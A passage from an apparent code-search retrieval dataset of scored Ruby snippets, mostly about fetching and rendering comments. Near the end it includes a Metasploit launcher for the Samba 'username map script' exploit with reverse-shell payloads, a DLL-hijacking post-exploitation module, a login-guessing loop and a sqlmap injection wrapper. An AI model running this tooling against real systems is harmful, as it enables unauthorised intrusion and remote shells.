"text": "def viewComments(options = {})\n arguments = [self.fullID]\n cmdOptions = {}\n\n if @account\n cmdOptions[\"-T\"] = @account.token\n end\n\n # If the backend should return a single comment (still an array).\n if options[:only_matching]\n cmdOptions[\"--only-matching\"] = true\n end\n\n # We are pulling comments specifically in reply to the given comment\n if options[:inReplyTo]\n cmdOptions[\"--reply-to\"] = options[:inReplyTo]\n end\n\n # We are pulling comments for the given identifier\n if options[:id]\n arguments << options[:id]\n\n # Also pull parent comments\n cmdOptions[\"-c\"] = true\n end\n\n # Give all comments for this object.\n if options[:all]\n cmdOptions[\"-a\"] = true\n end\n\n # Further limit comments to those made after a certain date.\n if options[:since]\n cmdOptions[\"-s\"] = options[:since]\n end\n\n result = Occam::Worker.perform(\"social\", \"comment-list\", arguments, cmdOptions)\n comments = JSON.parse(result[:data], :symbolize_names => true)\n\n commentMap = {}\n\n ret = []\n comments.map do |item|\n # Ensure replies is at least an empty array\n item[:replies] ||= []\n\n if commentMap.has_key? item[:id]\n item[:replies] = commentMap[item[:id]][:replies]\n end\n commentMap[item[:id]] = item\n\n if (not options[:only_matching]) && item[:inReplyTo] && (options[:inReplyTo].nil? || item[:inReplyTo] != options[:inReplyTo])\n commentMap[item[:inReplyTo]] ||= {}\n commentMap[item[:inReplyTo]][:replies] ||= []\n commentMap[item[:inReplyTo]][:replies] << item\n else\n ret << item\n end\n\n if not options[:simple]\n begin\n item[:person].delete(:revision)\n item[:person][:ownerInfo] = item[:person]\n item[:person][:info] = item[:person]\n item[:person][:account] = @account\n item[:person] = Occam::Person.new(item[:person])\n rescue\n item.delete :person\n end\n end\n\n item\n end\n\n ret\n rescue\n []\n end",
"title": ""
},
{
"docid": "dddb5d23ae58e68a9bb0612157f27c0a",
"score": "0.6099523",
"text": "def has_comment_access(post_id, comment_id)\n comment = Unsakini::Comment.where(id: comment_id, post_id: post_id, user_id: @user.id).first\n if comment.nil?\n return {status: :forbidden, comment: comment}\n else\n return {status: :ok, comment: comment}\n end\n end",
"title": ""
},
{
"docid": "3b1e5903162f7c54d3dc8c23ab0cf357",
"score": "0.60995126",
"text": "def getComment(response)\r\n\t\t\t\tcomment_json = JSON.parse response\r\n\t\t\t\tcomment_array = comment_json[\"comments\"]\r\n\t\t\t\treturn jsonToComment(comment_array[0])\r\n\t\t\tend",
"title": ""
},
{
"docid": "a197f263c89abaa7133a68755c0dd587",
"score": "0.60990435",
"text": "def reply(comment_id)\n\n\tparams = {\n\t\tapi_type: 'json',\n\t\ttext: \"You're welcome.\",\n\t\tthing_id: comment_id\n\t}\n\n\theaders = { 'Authorization': \"bearer #{get_token}\",\n\t\t\t\t\t\t\t'User-Agent': \"!!!!REPLACE ME!!!!\"}\n\n\tresponse = RestClient::Request.execute(\n\t\tmethod: :post,\n\t\turl: 'https://oauth.reddit.com/api/comment',\n\t\tpayload: params,\n\t\theaders: headers)\nend",
"title": ""
},
{
"docid": "0e67e1418f50b5398a9d05820ba0748b",
"score": "0.6096746",
"text": "def show\n\t\t@comment = Comment.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @comment }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "73b9c6db91d55cc50c4b540bd2bfe93e",
"score": "0.6087227",
"text": "def show\n render json: innerComment\n end",
"title": ""
},
{
"docid": "11eb4e674534d46b55396d1f3cd8f84a",
"score": "0.60829043",
"text": "def comments_by_user(user_id, options={})\n self.class.get(\"/users/#{user_id}/comments\", options)\n end",
"title": ""
},
{
"docid": "1d4730541bfe9ce535a3ee75c3a6c776",
"score": "0.6082627",
"text": "def get_comments id, vimeo, xml=nil\n comments = Array.new\n url = vimeo.generate_url({\"method\" => \"vimeo.videos.comments.getList\",\n \"video_id\" => id, \"api_key\" => vimeo.api_key}, \"read\")\n unless xml\n #does not get covered by specs because we get an internal xml file\n xml_data = Net::HTTP.get_response(URI.parse(url)).body\n else\n xml_data = File.open(File.join(File.dirname(xml), File.basename(xml, '.xml')+'.comments.xml'))\n end\n xml_doc = REXML::Document.new(xml_data)\n \n xml_doc.elements.each('rsp/comments/comment') do |comment|\n id = comment.attributes[\"id\"].to_i\n author = comment.attributes[\"author\"]\n authorname = comment.attributes[\"authorname\"]\n date = comment.attributes[\"datecreate\"]\n url = comment.attributes[\"permalink\"]\n text = comment.text\n @portraits = Array.new\n xml_doc.elements.each('rsp/comments/comment/portraits/portrait') do |thumb|\n portrait_url = thumb.text\n w = thumb.attributes[\"width\"].to_i\n h = thumb.attributes[\"height\"].to_i\n thumbnail = Thumbnail.new(portrait_url, w, h)\n @portraits << thumbnail\n end\n com = Comment.new(id, author, authorname, date, url, text, @portraits)\n @comments << com\n end\n end",
"title": ""
},
{
"docid": "ecda817f4d9776e5cd171d58e1acc4d2",
"score": "0.6073981",
"text": "def show\n @comment = @post.comments.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comment }\n end\n end",
"title": ""
},
{
"docid": "d551b8c5eb9ea400305c263849735a5c",
"score": "0.6070082",
"text": "def list_comments\n GooglePlus::Comment.for_activity(id) \n end",
"title": ""
},
{
"docid": "58e4328d4aad804ec947454f3b9aceb4",
"score": "0.6050974",
"text": "def show\n @post = Post.find_by_id(params[:id])\n if @post.nil?\n render json: { error: \"Not found\" }, status: :not_found\n else\n render json: @post.to_json(:include =>\n {\n :user => {\n :only => [:id, :username]\n },\n :comments => {\n :include => {\n :user => {\n :only => [:id, :username]\n },\n }\n }\n }), status: :ok\n end\n end",
"title": ""
},
{
"docid": "d4f7b5947bf07518302dbb6408730a1e",
"score": "0.60505575",
"text": "def find_comment(story_id, comment_id, *args)\n path = \"galleryphoto/#{story_id}/comment/#{comment_id}\"\n Rdigg.fetch(path, \"comment\", args)\n end",
"title": ""
},
{
"docid": "af6e331b91de77086289dae8be437ea0",
"score": "0.6049225",
"text": "def show\n @commentable = find_commentable\n @comment = Comment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_comment }\n end\n end",
"title": ""
},
{
"docid": "661f100c788761e7ac6c87cf9f1de6f1",
"score": "0.60483944",
"text": "def find_comment(story_id, comment_id, *args)\n path = \"story/#{story_id}/comments/#{comment_id}\"\n Rdigg.fetch(path, @@type, args)\n end",
"title": ""
},
{
"docid": "56fb8931f880d4ad1be278a58e4cce3a",
"score": "0.6037154",
"text": "def coupon_comments_get\n commentable_id = params[:coupon_id]\n @commentable = \"Coupon\".constantize.find_by(id: commentable_id)\n render json: ArrayPresenter.new(@commentable.comments.includes(:commenter).page(params[:page]), CommentPresenter)\n end",
"title": ""
}
] |
a52e491a7b8d3e5aa5d211c5f552be86
|
Get the text of the token
|
[
{
"docid": "f45dc3fc5eebdcc8325a5f98389dea5e",
"score": "0.6265969",
"text": "def get_text\n raise NotImplementedError\n end",
"title": ""
}
] |
[
{
"docid": "f08f0be90329dcdeadb1fb03a3b525d3",
"score": "0.9156246",
"text": "def getTokenText()\r\n return @curr_token.text\r\n end",
"title": ""
},
{
"docid": "55642666f215662b8936a12d2a09de7a",
"score": "0.7889426",
"text": "def extracted_text\n tokenstream.text\n end",
"title": ""
},
{
"docid": "e847ed97ee42688f878898fa51f41fc6",
"score": "0.7443821",
"text": "def token_get()\n\t\tputs \"Here is the token \" + @token\n\tend",
"title": ""
},
{
"docid": "5fda56f5753c1bd56e24975a01166b7c",
"score": "0.7443764",
"text": "def token\n @token\n end",
"title": ""
},
{
"docid": "df1e2afd6db316e56abc43463a8ebdd6",
"score": "0.7433143",
"text": "def token\n return @children['token'][:value]\n end",
"title": ""
},
{
"docid": "9f681499296737a6e41f6a60733e438e",
"score": "0.7429222",
"text": "def token\n @token\n end",
"title": ""
},
{
"docid": "0674ce85936bf7454058c181999109b6",
"score": "0.7367624",
"text": "def message\n @token.message\n end",
"title": ""
},
{
"docid": "59c2c3a29c7ccc3f983eeaa76c1950e5",
"score": "0.7321839",
"text": "def to_s\n token\n end",
"title": ""
},
{
"docid": "ba9bff511c3bd01f7ae532dd67a7e6ca",
"score": "0.7210154",
"text": "def token\n @data[:token]\n end",
"title": ""
},
{
"docid": "5467b924e6435d6bfc86328082445c02",
"score": "0.7142543",
"text": "def text_token(text, kind); end",
"title": ""
},
{
"docid": "5467b924e6435d6bfc86328082445c02",
"score": "0.7142543",
"text": "def text_token(text, kind); end",
"title": ""
},
{
"docid": "89e0c7f8f031bf57366a9a8d9cdbc941",
"score": "0.71111333",
"text": "def get_Token()\n \t return @outputs[\"Token\"]\n \tend",
"title": ""
},
{
"docid": "89e0c7f8f031bf57366a9a8d9cdbc941",
"score": "0.71111333",
"text": "def get_Token()\n \t return @outputs[\"Token\"]\n \tend",
"title": ""
},
{
"docid": "5e5772a8240c5f6f51c946f5a96ec869",
"score": "0.7041049",
"text": "def getText\n @text\n end",
"title": ""
},
{
"docid": "5e5772a8240c5f6f51c946f5a96ec869",
"score": "0.7041049",
"text": "def getText\n @text\n end",
"title": ""
},
{
"docid": "cbd55dfe34f089d2b7d09e5a7caef285",
"score": "0.7010977",
"text": "def token; end",
"title": ""
},
{
"docid": "cbd55dfe34f089d2b7d09e5a7caef285",
"score": "0.7010977",
"text": "def token; end",
"title": ""
},
{
"docid": "cbd55dfe34f089d2b7d09e5a7caef285",
"score": "0.7010977",
"text": "def token; end",
"title": ""
},
{
"docid": "cbd55dfe34f089d2b7d09e5a7caef285",
"score": "0.7010977",
"text": "def token; end",
"title": ""
},
{
"docid": "cbd55dfe34f089d2b7d09e5a7caef285",
"score": "0.7010977",
"text": "def token; end",
"title": ""
},
{
"docid": "cbd55dfe34f089d2b7d09e5a7caef285",
"score": "0.7010977",
"text": "def token; end",
"title": ""
},
{
"docid": "1fe94ef16e65b17c22b129bfdf6932bd",
"score": "0.6931009",
"text": "def token\n @attributes[:token]\n end",
"title": ""
},
{
"docid": "7ec94c6de9e0fa4019a9aca0329d64b5",
"score": "0.6918436",
"text": "def data\n token\n end",
"title": ""
},
{
"docid": "069ca04596dcab29efdbb70c3d944463",
"score": "0.68680775",
"text": "def to_s\n self.token.to_s\n end",
"title": ""
},
{
"docid": "7b64ea2f5e26ca5a83ce3e7c8cd10e64",
"score": "0.68678474",
"text": "def token\n @token ||= @context[\"value\"]\n end",
"title": ""
},
{
"docid": "38b5078a5e7b2812520a6f06a4432e6f",
"score": "0.6825132",
"text": "def token\n end",
"title": ""
},
{
"docid": "7cdbf47890b082f9da389d0940ef79e2",
"score": "0.68032515",
"text": "def getToken\n @tokens\n end",
"title": ""
},
{
"docid": "056ec32408f6fabb8ed30666c194a088",
"score": "0.67831826",
"text": "def t token\n I18n.t(token)\n end",
"title": ""
},
{
"docid": "5c35c1c26123b12371af78cfeec97049",
"score": "0.67456025",
"text": "def text\n @text\n end",
"title": ""
},
{
"docid": "affeade8acdcd743bdebebf3f16a3b25",
"score": "0.66810846",
"text": "def text\n @text\n end",
"title": ""
},
{
"docid": "343599e4a3b7991dfd0621352c3a7d48",
"score": "0.6662399",
"text": "def code\n\t\ttoken\n\tend",
"title": ""
},
{
"docid": "e8b3c212f8b03a3b552dc2d4c0e8a5c4",
"score": "0.665848",
"text": "def get_text\n return self.text\n end",
"title": ""
},
{
"docid": "e62f6a75fd5c85b8feddcbbb07b26070",
"score": "0.6644571",
"text": "def text\n @tag_data[:text]\n end",
"title": ""
},
{
"docid": "410e0efd3064276eb2d0bcde1d113418",
"score": "0.6640082",
"text": "def current_token\n @tokens[@token_index]\n end",
"title": ""
},
{
"docid": "8f1fd94bef7697ce55ebf525ea15f2d2",
"score": "0.6631456",
"text": "def text\n getvalue\n end",
"title": ""
},
{
"docid": "0426fafe8d70eee3f74c9532d882450a",
"score": "0.6619716",
"text": "def token\n configuration.token\n end",
"title": ""
},
{
"docid": "66f3d7753651aa9e825ecffe8743f117",
"score": "0.65907955",
"text": "def token_from(data)\n extract_from(data, /Token token='(.+)'/).first rescue nil\n end",
"title": ""
},
{
"docid": "508d9ce3de27a3b0ce53b6c1a57807f1",
"score": "0.65779245",
"text": "def text\n @value[:text].to_s\n end",
"title": ""
},
{
"docid": "509b75ec7323c2c8c08f36af70586c3a",
"score": "0.656308",
"text": "def get_token\n @tokenbuf << read_token if @tokenbuf.length == 0\n return @tokenbuf.shift\n end",
"title": ""
},
{
"docid": "c415822889e089397382fc198e2cc0eb",
"score": "0.653442",
"text": "def text\n result_hash['text']\n end",
"title": ""
},
{
"docid": "95d78d1081a219d9e7bc18d536f4a80f",
"score": "0.65342385",
"text": "def token_to_str(t); end",
"title": ""
},
{
"docid": "95d78d1081a219d9e7bc18d536f4a80f",
"score": "0.65342385",
"text": "def token_to_str(t); end",
"title": ""
},
{
"docid": "c88198f28a4f0ed58b5afc01d4eddca9",
"score": "0.6527906",
"text": "def get\n @current_token = @tokens.shift\n p :get => @current_token if @debug\n @current_token\n end",
"title": ""
},
{
"docid": "c88198f28a4f0ed58b5afc01d4eddca9",
"score": "0.6527906",
"text": "def get\n @current_token = @tokens.shift\n p :get => @current_token if @debug\n @current_token\n end",
"title": ""
},
{
"docid": "78378623d36fd51d2a0756c91cb2278b",
"score": "0.6507707",
"text": "def tokens_to_s\n token_stream.compact.map { |token| token[:text] }.join ''\n end",
"title": ""
},
{
"docid": "3f4677c5be5c0241e80599edfeb242e6",
"score": "0.65000695",
"text": "def\n getText\n @text\n end",
"title": ""
},
{
"docid": "ff57fc88e76002e36c4cca0ea6aa0949",
"score": "0.6493269",
"text": "def getText\n return getProperty('text').to_s\n end",
"title": ""
},
{
"docid": "9c31ef4eb0da2277c620b3733de65da8",
"score": "0.6489024",
"text": "def current_token\n @current_token\n end",
"title": ""
},
{
"docid": "f39e26eb944730b429196701857cddcb",
"score": "0.6487666",
"text": "def token\n @token.present? ? @token : token_hash\n end",
"title": ""
},
{
"docid": "e94b280b2e2394ed6b5119b6d0cc2725",
"score": "0.6447739",
"text": "def text\n text = ''\n\n loop do\n type, data, = get\n\n text << case type\n when :BULLET then\n _, space, = get # SPACE\n \"*#{' ' * (space - 1)}\"\n when :LABEL then\n _, space, = get # SPACE\n \"[#{data}]#{' ' * (space - data.length - 2)}\"\n when :LALPHA, :NUMBER, :UALPHA then\n _, space, = get # SPACE\n \"#{data}.#{' ' * (space - 2)}\"\n when :NOTE then\n _, space = get # SPACE\n \"#{data}::#{' ' * (space - data.length - 2)}\"\n when :TEXT then\n data\n when :NEWLINE then\n unget\n break\n when nil then\n break\n else\n raise ParseError, \"unhandled token #{@current_token.inspect}\"\n end\n end\n\n text\n end",
"title": ""
},
{
"docid": "c5a55e98798612f040508f3b3150ce98",
"score": "0.6446261",
"text": "def token\n _response_word.fetch(\"token\", nil)\n end",
"title": ""
},
{
"docid": "8beb04d8775fdcbd507ad652c164a385",
"score": "0.6432056",
"text": "def token(content, kind); end",
"title": ""
},
{
"docid": "229e856ff7057d834efceef1e2c7833a",
"score": "0.6421307",
"text": "def content_tokens\n description\n end",
"title": ""
},
{
"docid": "229e856ff7057d834efceef1e2c7833a",
"score": "0.6421307",
"text": "def content_tokens\n description\n end",
"title": ""
},
{
"docid": "229e856ff7057d834efceef1e2c7833a",
"score": "0.6421307",
"text": "def content_tokens\n description\n end",
"title": ""
},
{
"docid": "229e856ff7057d834efceef1e2c7833a",
"score": "0.6421307",
"text": "def content_tokens\n description\n end",
"title": ""
},
{
"docid": "229e856ff7057d834efceef1e2c7833a",
"score": "0.6421307",
"text": "def content_tokens\n description\n end",
"title": ""
},
{
"docid": "95573d7ef176c2aecdf3ff2070de6992",
"score": "0.6392036",
"text": "def to_s\n return super + \": '#{token.lexeme}'\"\n end",
"title": ""
},
{
"docid": "93d0e4641239f57227633292ba3ea2af",
"score": "0.6369442",
"text": "def get_text\n `#{@element}.textContent`\n end",
"title": ""
},
{
"docid": "994d1819d3fc96d39a6d1926b62e897b",
"score": "0.6356654",
"text": "def content_tokens\n alt\n end",
"title": ""
},
{
"docid": "2d6e376a93b678d4bbe1a0156bce4c4b",
"score": "0.6355124",
"text": "def token\n item = read\n return item['token'] if item['token']\n token_reset\n read['token']\n end",
"title": ""
},
{
"docid": "7c025b8fc335c630ed5fa39dd0297029",
"score": "0.63461345",
"text": "def extract_token_from_email(token_name)\n mail_body = last_email.to_s\n mail_body[/#{token_name.to_s}_token=([^\"\\n\\r]+)/, 1]\n end",
"title": ""
},
{
"docid": "5b8636cdb2cdecaf7c1ae91c064d56c9",
"score": "0.63280195",
"text": "def process_token(tk); end",
"title": ""
},
{
"docid": "22ba3339388242c3dd38507b22da6db1",
"score": "0.63004583",
"text": "def tokens_to_s\n token_stream.compact.map { |token| token.text }.join ''\n end",
"title": ""
},
{
"docid": "6408b88742b78ec3fe01fabd106da4b3",
"score": "0.6294999",
"text": "def get\n tok = get_internal\n # NOTE: Only for debug\n # print \"#{tok} #{tok.file&.name || \"(unknown)\"} #{tok.line} #{tok.column}\\n\"\n tok\n end",
"title": ""
},
{
"docid": "84eb539ad87791d4afda52cebcbeef9b",
"score": "0.62685096",
"text": "def token\n return @parsed_body[\"report_token\"]\n end",
"title": ""
},
{
"docid": "5b2e28c33872231b84299b04299663ad",
"score": "0.6254458",
"text": "def get_token_name\n @@token_list[@state - 1]\n end",
"title": ""
},
{
"docid": "11d052b43c25a4f7e7ae4c5bef2716d9",
"score": "0.62522566",
"text": "def text\n @node.inner_text.strip\n end",
"title": ""
},
{
"docid": "7b4938c10bd9ec3ae1b9dbaa51b9280d",
"score": "0.6228214",
"text": "def token_s\n fail 'sub-class to implement'\n end",
"title": ""
},
{
"docid": "3bc557598beb0b5abd9e086f9c7272ca",
"score": "0.6224334",
"text": "def getToken()\n if @verbose\n if @token\n puts((\" \"*@indent) + \" (\" + @token.show(true) + \")\")\n end\n end\n\n @token = @lexer.get()\n end",
"title": ""
},
{
"docid": "877c35972840a5a722c3ab072befbe2a",
"score": "0.62228054",
"text": "def extract_token_from_email(token_name)\n mail_body = last_email.body.to_s\n mail_body[/#{token_name.to_s}_token=([^\"]+)/, 1]\n end",
"title": ""
},
{
"docid": "6741dbf79c609dac0d81a7ef9afc4af0",
"score": "0.6218895",
"text": "def get_token\n get(TOKEN_URL)\n end",
"title": ""
},
{
"docid": "048909e9f8a69695de5593864ad687ec",
"score": "0.6213335",
"text": "def text_content\n @_node.getTextContent\n end",
"title": ""
},
{
"docid": "6e1f24b37fd49f59bb856d8c99141dbf",
"score": "0.62071216",
"text": "def getTokenKind()\n $tokens.at(0)\nend",
"title": ""
},
{
"docid": "4c2f06d7ff024a1057fffbb8a196d8c9",
"score": "0.6196347",
"text": "def token(name)\n self.token_codes.where(name: name.to_s).first\n end",
"title": ""
},
{
"docid": "4d6ae09e8114779a61f23c870fe5a3f6",
"score": "0.61931276",
"text": "def text\n param(-1)\n end",
"title": ""
},
{
"docid": "9c61e7b4eb4a1d9920d1940f044a7289",
"score": "0.6189811",
"text": "def to_param\n self.token\n end",
"title": ""
},
{
"docid": "3878b40c6d177695559b6e9a8beb4a53",
"score": "0.61830777",
"text": "def current_token\n @stream.current_token\n end",
"title": ""
},
{
"docid": "991978e04d36cd0740d6da2892791431",
"score": "0.61806387",
"text": "def to_s\n token_type\n end",
"title": ""
},
{
"docid": "f4677e1a1734c3971aa11ba90232a98a",
"score": "0.61695397",
"text": "def as_text\n @text\n end",
"title": ""
},
{
"docid": "d928222c81c81fa51f56234213681b85",
"score": "0.61611754",
"text": "def get_text(element)\n element.text\n end",
"title": ""
},
{
"docid": "6104377d74817276a5dd30b1284e1216",
"score": "0.6159033",
"text": "def token; config[:token]; end",
"title": ""
},
{
"docid": "b242ede35c621eefc2563e57cd510bee",
"score": "0.6159016",
"text": "def name\n @token\n #match(/^Information\\son\\s([&#+][^:]+):$/)\n end",
"title": ""
},
{
"docid": "169e39d3589881221958c495fd159757",
"score": "0.6152876",
"text": "def text_token text, kind\n @out << text\n end",
"title": ""
},
{
"docid": "bb5ccfa412a2a726e7d4ce5cc504f499",
"score": "0.61486447",
"text": "def text\n attributes.fetch(:text)\n end",
"title": ""
},
{
"docid": "bb5ccfa412a2a726e7d4ce5cc504f499",
"score": "0.61486447",
"text": "def text\n attributes.fetch(:text)\n end",
"title": ""
},
{
"docid": "bb5ccfa412a2a726e7d4ce5cc504f499",
"score": "0.61486447",
"text": "def text\n attributes.fetch(:text)\n end",
"title": ""
},
{
"docid": "fcffb57644c5dede925019980f148566",
"score": "0.6129792",
"text": "def text\n\t\t\t@data[\"extract\"]\n\t\tend",
"title": ""
},
{
"docid": "28006bdb0fcb628b45d690f4ec94756f",
"score": "0.6122702",
"text": "def tokens; end",
"title": ""
},
{
"docid": "28006bdb0fcb628b45d690f4ec94756f",
"score": "0.6122702",
"text": "def tokens; end",
"title": ""
},
{
"docid": "28006bdb0fcb628b45d690f4ec94756f",
"score": "0.6122702",
"text": "def tokens; end",
"title": ""
},
{
"docid": "28006bdb0fcb628b45d690f4ec94756f",
"score": "0.6122702",
"text": "def tokens; end",
"title": ""
},
{
"docid": "28006bdb0fcb628b45d690f4ec94756f",
"score": "0.6122702",
"text": "def tokens; end",
"title": ""
},
{
"docid": "28006bdb0fcb628b45d690f4ec94756f",
"score": "0.6122702",
"text": "def tokens; end",
"title": ""
},
{
"docid": "28006bdb0fcb628b45d690f4ec94756f",
"score": "0.6122702",
"text": "def tokens; end",
"title": ""
},
{
"docid": "28006bdb0fcb628b45d690f4ec94756f",
"score": "0.6122702",
"text": "def tokens; end",
"title": ""
},
{
"docid": "0006d71cea0c499cba36d1a5ee813ab4",
"score": "0.6122586",
"text": "def token\n ready_token\n\n i = @buffer.index(/[\\[\\]()<>{}\\s\\/]/) || @buffer.size\n\n token_chars =\n if i == 0 and @buffer[i,2] == \"<<\" then 2\n elsif i == 0 and @buffer[i,2] == \">>\" then 2\n elsif i == 0 then 1\n else i\n end\n\n strip_space = !(i == 0 and @buffer[0,1] == '(')\n tok = head(token_chars, strip_space)\n\n if tok == \"\"\n nil\n elsif tok[0,1] == \"%\"\n @buffer = \"\"\n token\n else\n tok\n end\n end",
"title": ""
},
{
"docid": "dab78a54260b19486340f1363f6f8793",
"score": "0.611332",
"text": "def get_token_text_and_type_as_target_label(generator, text, token_type)\n name = generator.attr_grammar.get_token_display_name(token_type)\n # If name is a literal, return the token type instead\n if ((name.char_at(0)).equal?(Character.new(?\\'.ord)))\n return String.value_of(token_type)\n end\n text_equivalent = (text).nil? ? name : text\n if (text_equivalent.char_at(0) >= Character.new(?0.ord) && text_equivalent.char_at(0) <= Character.new(?9.ord))\n return text_equivalent\n else\n return RJava.cast_to_string(generator.attr_grammar.attr_name + Grammar.attr_grammar_type_to_file_name_suffix[generator.attr_grammar.attr_type]) + \"_\" + text_equivalent\n end\n end",
"title": ""
},
{
"docid": "15e02b00bc75611f8459066ab1fef4ec",
"score": "0.6112017",
"text": "def to_s\n self.token_type\n end",
"title": ""
},
{
"docid": "bafa801002be63d6b2c4d1cd32a9bf33",
"score": "0.6107605",
"text": "def tokenize\n post(\"token\")[\"token\"]\n end",
"title": ""
}
] |
414e24af33e30176f3b47651c6257b33
|
Execute code that requires a FDW server/user mapping The server name is given by the method `server_name`
|
[
{
"docid": "ea0b04573747f0804031bb4e7eaf7d42",
"score": "0.57439405",
"text": "def with_server\n # Currently we create temporary server and user mapings when we need them,\n # and drop them after use.\n log \"Creating Server\"\n fdw_create_server server_name\n log \"Creating Usermaps\"\n fdw_create_usermaps server_name\n yield\n rescue => error\n log \"Connector Error #{error}\"\n raise error\n ensure\n log \"Connector cleanup\"\n fdw_drop_usermaps server_name\n fdw_drop_server server_name\n log \"Connector cleaned-up\"\n end",
"title": ""
}
] |
[
{
"docid": "8c4a07e95110ff73e7b23ef523e235d9",
"score": "0.5696666",
"text": "def usermap_exploit\n\t\tprint_status(\"Exploit Samba 'username map script' Command Execution (3.0.20 through 3.0.25rc3)\")\n\t\tprint_caution(\"Provide Target IP: \")\n\t\tzIP=gets.chomp\n\n\t\tpayloadz=[ '1' => 'cmd/unix/bind_netcat', '2' => 'cmd/unix/bind_netcat_gaping', '3' => 'cmd/unix/bind_perl', '4' => 'cmd/unix/bind_ruby', '5' => 'cmd/unix/reverse', '6' => 'cmd/unix/reverse_netcat', '7' => 'cmd/unix/reverse_netcat_gaping', '8' => 'cmd/unix/reverse_perl', '9' => 'cmd/unix/reverse_python', '10' => 'cmd/unix/reverse_ruby' ]\n\t\twhile(true)\n\t\t\tprint_caution(\"Select Payload to use: \")\n\t\t\tpayloadz.each { |key,value| puts (key.to_i < 10) ? \"#{key}) #{value}\" : \"#{key}) #{value}\" }\n\t\t\tsizer=payloadz.size\n\t\t\tanswer=gets.chomp\n\t\t\tif answer.to_i == 0 or answer.to_i > sizer.to_i\n\t\t\t\tprint_error(\"\")\n\t\t\t\tprint_error(\"Please Enter a Valid Option!\")\n\t\t\t\tprint_error(\"\")\n\t\t\telse\n\t\t\t\tpayload = payloadz[answer]\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\t\tif payload =~ /bind/\n\t\t\tprint_caution(\"Please provide PORT for Bind Shell: \")\n\t\telse\n\t\t\tprint_caution(\"Please provide PORT to listen on: \")\n\t\tend\n\t\tzport=gets.chomp\n\n\t\tprint_status(\"Launching Exploit for Samba 'username map script' Command Execution Vulnerability against #{zIP} in a new x-window.....\")\n\t\trcfile=\"#{$temp}msfassist.rc\"\n\t\tf=File.open(rcfile, 'w')\n\t\tf.puts \"db_connect #{MSFDBCREDS}\"\n\t\tf.puts \"use exploit/multi/samba/usermap_script\"\n\t\tf.puts \"set RHOST #{zIP}\"\n\t\tf.puts \"set PAYLOAD #{payload}\"\n\t\tf.puts \"set LHOST 0.0.0.0\"\n\t\tf.puts \"set LPORT #{zport}\"\n\t\tf.puts \"set ExitOnSession false\"\n\t\tf.puts \"exploit -j -z\"\n\t\tf.close\n\n\t\tumap=\"xterm -title 'MSF Samba 'username map script' Command Execution Exploit #{@xcount}' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \\\"bash -c '#{MSFPATH}/msfconsole -r #{rcfile}'\\\"\"\n\t\tfireNforget(umap)\n\t\tprint_line(\"\")\n\tend",
"title": ""
},
{
"docid": "345df15b1d8f0ed33008fb353c758a2f",
"score": "0.5549965",
"text": "def with_server\n # Currently we create temporary server and user mapings when we need them,\n # and drop them after use.\n log \"Creating Server\"\n execute_as_superuser create_server_command\n log \"Creating Usermap\"\n execute_as_superuser create_usermap_command\n yield\n rescue => error\n log \"Connector Error #{error}\"\n raise error\n ensure\n log \"Connector cleanup\"\n execute_as_superuser drop_usermap_command\n execute_as_superuser drop_server_command\n log \"Connector cleaned-up\"\n end",
"title": ""
},
{
"docid": "8cd56d1c23f5ef7d5c406f7fc42cc8f2",
"score": "0.5528434",
"text": "def run_host(ip)\n\t\t\teach_user_pass { |user, pass|\n\t\t\t\tdatastore['USERNAME'] = user\n\t\t\t\tdatastore['PASSWORD'] = pass\n\t\t\t\tdo_login(user,pass)\n\t\t\t}\n\tend",
"title": ""
},
{
"docid": "c0f1b2b84363ec3e7d54f49f4823f5a7",
"score": "0.54803556",
"text": "def run\n session = client\n\n # Variable declarations (msf API calls)\n sysnfo = session.sys.config.sysinfo\n runtor = client.sys.config.getuid\n runsession = client.session_host\n directory = client.fs.dir.pwd\n\n\n # Print banner and scan results on screen\n print_line(\" +----------------------------------------------+\")\n print_line(\" | Spotify v2.3.2 - DLL hijacking |\")\n print_line(\" | Author: Chaitanya |\")\n print_line(\" +----------------------------------------------+\")\n print_line(\"\")\n print_line(\" Running on session : #{datastore['SESSION']}\")\n print_line(\" Computer : #{sysnfo['Computer']}\")\n print_line(\" Operative System : #{sysnfo['OS']}\")\n print_line(\" Target IP addr : #{runsession}\")\n print_line(\" Payload directory : #{directory}\")\n print_line(\" Client UID : #{runtor}\")\n print_line(\"\")\n print_line(\"\")\n\n\n # check for proper session.\n if not sysinfo.nil?\n print_status(\"Running module against: #{sysnfo['Computer']}\")\n else\n print_error(\"ABORT]:This post-module only works in meterpreter sessions\")\n raise Rex::Script::Completed\n end\n # elevate session privileges befor runing options\n client.sys.config.getprivs.each do |priv|\n end\n\n \n# ------------------------------------\n# Selected settings to run\n# ------------------------------------\n if datastore['LOCAL_PATH']\n ls_stage1\n end\n\n if datastore['REVERT_HIJACK']\n ls_stage2\n end\n end",
"title": ""
},
{
"docid": "ab129a17d7712f8301af38444154b152",
"score": "0.5473794",
"text": "def run_host(ip)\n\n\t\tsqlmap = datastore['SQLMAP_PATH']\n\n\t\tif not sqlmap\n\t\t\tprint_error(\"The sqlmap script could not be found\")\n\t\t\treturn\n\t\tend\n\n\t\tdata = datastore['DATA']\n\t\tmethod = datastore['METHOD'].upcase\n\n\t\tsqlmap_url = (datastore['SSL'] ? \"https\" : \"http\")\n\t\tsqlmap_url += \"://\" + wmap_target_host + \":\" + wmap_target_port\n\t\tsqlmap_url += \"/\" + datastore['PATH']\n\n\t\tif method == \"GET\"\n\t\t\tsqlmap_url += '?' + datastore['QUERY']\n\t\tend\n\n\t\tcmd = sqlmap + ' -u \\'' + sqlmap_url + '\\''\n\t\tcmd += ' --method ' + method\n\t\tcmd += ' ' + datastore['OPTS']\n\n\t\tif not data.empty?\n\t\t\tcmd += ' --data \\'' + data + '\\''\n\t\tend\n\n\t\tif datastore['BATCH'] == true\n\t\t\tcmd += ' --batch'\n\t\tend\n\n\t\tprint_status(\"exec: #{cmd}\")\n\t\tIO.popen( cmd ) do |io|\n\t\t\tio.each_line do |line|\n\t\t\t\tprint_line(\"SQLMAP: \" + line.strip)\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "80650605b28804df893a26882c79c13d",
"score": "0.5443344",
